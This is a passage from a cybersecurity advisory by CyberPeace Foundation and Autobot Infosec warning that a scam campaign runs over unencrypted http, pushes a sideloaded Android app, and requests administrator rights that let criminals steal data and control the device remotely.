The whole campaign uses plain http protocol instead of the secure https. This means anyone on the net-
work or internet can intercept the traffic and get the confidential information in plain text to misuse against
the victim.

@ Inthelast step it asks userstodownload an application from a third party source. Downloading any android
application apart from the Playstore is not any how recommended.

@ The application asks to provide administrator rights and unnecessary access permissions of the device.

Agreeing with this could be a dangerous decision; as it sends sensitive information of the userto a remote
destination in the background. Even the device can be remotely handled by the Cybercriminals.

Issued by :

Research Wing, CyberPeace Foundation
Research Wing, Autobot Infosec Private Ltd.
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